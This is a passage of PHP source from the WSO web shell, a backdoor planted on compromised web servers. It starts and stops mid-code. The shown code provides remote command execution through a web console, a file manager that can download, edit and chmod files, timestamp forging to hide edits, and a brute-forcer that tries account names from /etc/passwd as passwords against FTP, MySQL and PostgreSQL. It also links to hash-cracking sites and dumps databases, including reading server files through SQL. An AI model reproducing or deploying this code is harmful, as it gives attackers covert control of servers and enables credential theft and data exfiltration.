<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array(\'name\' => $dirContent[$i],
					 \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
					 \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),
					 \'perms\' => wsoPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),
					 \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
					 \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
					 \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array(\'type\' => \'file\'));
		elseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));
		elseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
	}
	$GLOBALS[\'sort\'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS[\'sort\'][0] != \'size\')
			return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);
		else
			return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?wsoViewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
			.\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=a value=\'FilesMan\'>
	<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>
	<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>
	<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";
    if(class_exists(\'ZipArchive\'))
        echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\'>Uncompress (zip)</option>";
    echo "<option value=\'tar\'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))
        echo "<option value=\'paste\'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))
        echo "file name: <input type=text name=p2 value=\'wso_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";
    echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>";
	wsoFooter();
}

function actionStringTools() {
	if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		\'Base64 encode\' => \'base64_encode\',
		\'Base64 decode\' => \'base64_decode\',
		\'Url encode\' => \'urlencode\',
		\'Url decode\' => \'urldecode\',
		\'Full urlencode\' => \'full_urlencode\',
		\'md5 hash\' => \'md5\',
		\'sha1 hash\' => \'sha1\',
		\'crypt\' => \'crypt\',
		\'CRC32\' => \'crc32\',
		\'ASCII to HEX\' => \'ascii2hex\',
		\'HEX to ASCII\' => \'hex2ascii\',
		\'HEX to DEC\' => \'hexdec\',
		\'HEX to BIN\' => \'hex2bin\',
		\'DEC to HEX\' => \'dechex\',
		\'DEC to BIN\' => \'decbin\',
		\'BIN to HEX\' => \'binhex\',
		\'BIN to DEC\' => \'bindec\',
		\'String to lower case\' => \'strtolower\',
		\'String to upper case\' => \'strtoupper\',
		\'Htmlspecialchars\' => \'htmlspecialchars\',
		\'String length\' => \'strlen\',
	);
	if(isset($_POST[\'ajax\'])) {
		WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);
		ob_start();
		if(in_array($_POST[\'p1\'], $stringTools))
			echo $_POST[\'p1\']($_POST[\'p2\']);
		$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
		WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);
	wsoHeader();
	echo \'<h1>String conversions</h1><div class=content>\';
	echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";
	foreach($stringTools as $k => $v)
		echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
		echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
	if(!empty($_POST[\'p1\'])) {
		if(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
	}
	echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>
			<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>
			<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>
			<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>
			<tr><td></td><td><input type=\'submit\' value=\'>>\'></td></tr>
			</table></form>";

	function wsoRecursiveGlob($path) {
		if(substr($path, -1) != \'/\')
			$path.=\'/\';
		$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $item) {
				if(@is_dir($item)){
					if($path!=$item)
						wsoRecursiveGlob($item);
				} else {
					if(empty($_POST[\'p2\']) || @strpos(file_get_contents($item), $_POST[\'p2\'])!==false)
						echo "<a href=\'#\' onclick=\'g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")\'>".htmlspecialchars($item)."</a><br>";
				}
			}
		}
	}
	if(@$_POST[\'p3\'])
		wsoRecursiveGlob($_POST[\'c\']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method=\'post\' target=\'_blank\' name=\'hf\'>
			<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>
            <input type=\'hidden\' name=\'act\' value=\'find\'/>
			<input type=\'button\' value=\'hashcracking.ru\' onclick=\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\"><br>
			<input type=\'button\' value=\'md5.rednoize.com\' onclick=\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\"><br>
            <input type=\'button\' value=\'crackfor.me\' onclick=\"document.hf.action=\'http://crackfor.me/index.php\';document.hf.submit()\"><br>
		</form></div>";
	wsoFooter();
}

function actionFilesTools() {
	if( isset($_POST[\'p1\']) )
		$_POST[\'p1\'] = urldecode($_POST[\'p1\']);
	if(@$_POST[\'p2\']==\'download\') {
		if(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST[\'p1\']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST[\'p1\'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST[\'p2\'] == \'mkfile\' ) {
		if(!file_exists($_POST[\'p1\'])) {
			$fp = @fopen($_POST[\'p1\'], \'w\');
			if($fp) {
				$_POST[\'p2\'] = "edit";
				fclose($fp);
			}
		}
	}
	wsoHeader();
	echo \'<h1>File tools</h1><div class=content>\';
	if( !file_exists(@$_POST[\'p1\']) ) {
		echo \'File not exists\';
		wsoFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
	if(!$uid) {
		$uid[\'name\'] = @fileowner($_POST[\'p1\']);
		$gid[\'name\'] = @filegroup($_POST[\'p1\']);
	} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));
	echo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?wsoViewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.wsoPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
	echo \'<span>Change time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
	if( empty($_POST[\'p2\']) )
		$_POST[\'p2\'] = \'view\';
	if( is_file($_POST[\'p1\']) )
		$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
	else
		$m = array(\'Chmod\', \'Rename\', \'Touch\');
	foreach($m as $v)
		echo \'<a href=# onclick="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
	echo \'<br><br>\';
	switch($_POST[\'p2\']) {
		case \'view\':
			echo \'<pre class=ml1>\';
			$fp = @fopen($_POST[\'p1\'], \'r\');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo \'</pre>\';
			break;
		case \'highlight\':
			if( @is_readable($_POST[\'p1\']) ) {
				echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';
				$code = @highlight_file($_POST[\'p1\'],true);
				echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
			}
			break;
		case \'chmod\':
			if( !empty($_POST[\'p3\']) ) {
				$perms = 0;
				for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
					$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
				if(!@chmod($_POST[\'p1\'], $perms))
					echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
			}
			clearstatcache();
			echo \'<script>p3_="";</script><form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
			break;
		case \'edit\':
			if( !is_writable($_POST[\'p1\'])) {
				echo \'File isn\'t writeable\';
				break;
			}
			if( !empty($_POST[\'p3\']) ) {
				$time = @filemtime($_POST[\'p1\']);
				$_POST[\'p3\'] = substr($_POST[\'p3\'],1);
				$fp = @fopen($_POST[\'p1\'],"w");
				if($fp) {
					@fwrite($fp,$_POST[\'p3\']);
					@fclose($fp);
					echo \'Saved!<br><script>p3_="";</script>\';
					@touch($_POST[\'p1\'],$time,$time);
				}
			}
			echo \'<form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>\';
			$fp = @fopen($_POST[\'p1\'], \'r\');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo \'</textarea><input type=submit value=">>"></form>\';
			break;
		case \'hexdump\':
			$c = @file_get_contents($_POST[\'p1\']);
			$n = 0;
			$h = array(\'00000000<br>\',\'\',\'\');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= \' \'; break;
					case 9:  $h[2] .= \' \'; break;
					case 10: $h[2] .= \' \'; break;
					case 13: $h[2] .= \' \'; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
					$h[1] .= \'<br>\';
					$h[2] .= "
";
				}
		 	}
			echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
			break;
		case \'rename\':
			if( !empty($_POST[\'p3\']) ) {
				if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
					echo \'Can\'t rename!<br>\';
				else
					die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
			}
			echo \'<form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
			break;
		case \'touch\':
			if( !empty($_POST[\'p3\']) ) {
				$time = strtotime($_POST[\'p3\']);
				if($time) {
					if(!touch($_POST[\'p1\'],$time,$time))
						echo \'Fail!\';
					else
						echo \'Touched!\';
				} else echo \'Bad time format!\';
			}
			clearstatcache();
			echo \'<script>p3_="";</script><form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
			break;
	}
	echo \'</div>\';
	wsoFooter();
}

function actionConsole() {
    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {
        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);
        $_POST[\'p1\'] .= \' 2>&1\';
    } elseif(!empty($_POST[\'p1\']))
        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);

	if(isset($_POST[\'ajax\'])) {
		WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);
		ob_start();
		echo "d.cf.cmd.value=\'\';
";
		$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".wsoEx($_POST[\'p1\']),"

	\\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS[\'cwd\'] = @getcwd();
				echo "c_=\'".$GLOBALS[\'cwd\']."\';";
			}
		}
		echo "d.cf.output.value+=\'".$temp."\';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
		WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);
	wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array(\'\');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push(\'\');
	cur = cmds.length-1;
}
</script>";
	echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>\';
	foreach($GLOBALS[\'aliases\'] as $n => $v) {
		if($v == \'\') {
			echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
			continue;
		}
		echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
	}
	
	echo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';
	if(!empty($_POST[\'p1\'])) {
		echo htmlspecialchars("$ ".$_POST[\'p1\']."
".wsoEx($_POST[\'p1\']));
	}
	echo \'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';
	echo \'</form></div><script>d.cf.cmd.focus();</script>\';
	wsoFooter();
}

function actionLogout() {
    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);
	die(\'bye!\');
}

function actionSelfRemove() {

	if($_POST[\'p1\'] == \'yes\')
		if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__)))
			die(\'Shell has been removed\');
		else
			echo \'unlink error!\';
    if($_POST[\'p1\'] != \'yes\')
        wsoHeader();
	echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\';
	wsoFooter();
}

function actionBruteforce() {
	wsoHeader();
	if( isset($_POST[\'proto\']) ) {
		echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';
		if( $_POST[\'proto\'] == \'ftp\' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST[\'proto\'] == \'mysql\' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST[\'proto\'] == \'pgsql\' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST[\'server\']);
		if($_POST[\'type\'] == 1) {
			$temp = @file(\'/etc/passwd\');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';
					}
					if(@$_POST[\'reverse\']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST[\'type\'] == 2) {
			$temp = @file($_POST[\'dict\']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( wsoBruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {
						$success++;
						echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo \'<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'
		.\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'
		.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'
		.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'
		.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'
		.\'<span>Server:port</span></td>\'
		.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'
		.\'<tr><td><span>Brute type</span></td>\'
		.\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'
		.\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'
		.\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'
		.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'
		.\'<td><input type=text name=login value="root"></td></tr>\'
		.\'<tr><td><span>Dictionary</span></td>\'
		.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'
		.\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';
	echo \'</div><br>\';
	wsoFooter();
}

function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case \'mysql\':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case \'pgsql\':
					$host = explode(\':\', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case \'mysql\':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case \'mysql\':
					return $this->res = @mysql_query($str);
					break;
				case \'pgsql\':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case \'mysql\':
					return @mysql_fetch_assoc($res);
					break;
				case \'pgsql\':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case \'mysql\':
                        return $this->query("SHOW databases");
				break;
				case \'pgsql\':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case \'mysql\':
					return $this->res = $this->query(\'SHOW TABLES\');
				break;
				case \'pgsql\':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case \'mysql\':
					return @mysql_error();
				break;
				case \'pgsql\':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case \'mysql\':
					if(function_exists(\'mysql_set_charset\'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query(\'SET CHARSET \'.$str);
					break;
				case \'pgsql\':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case \'mysql\':
					return $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));
				break;
				case \'pgsql\':
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i[\'file\'];
					$this->query(\'drop table wso2\');
					return array(\'file\'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case \'mysql\':
					$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query(\'SELECT * FROM `\'.$table.\'`\');
                    $i = 0;
                    $head = true;
					while($item = $this->fetch()) {
                        $sql = \'\';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";

";
                        }

						$columns = array();
						foreach($item as $k=>$v) {
                            if($v === null)
                                $item[$k] = "NULL";
                            elseif(is_int($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "\'".@mysql_real_escape_string($v)."\'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).\')\';
                            $head = false;
                        } else
                            $sql .= "
	,(".implode(", ", $item).\')\';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case \'pgsql\':
					$this->query(\'SELECT * FROM \'.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "\'".addslashes($v)."\'";
							$columns[] = $k;
						}
                        $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST[\'type\']);
	if((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {
		$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);
		$db->selectdb($_POST[\'sql_base\']);
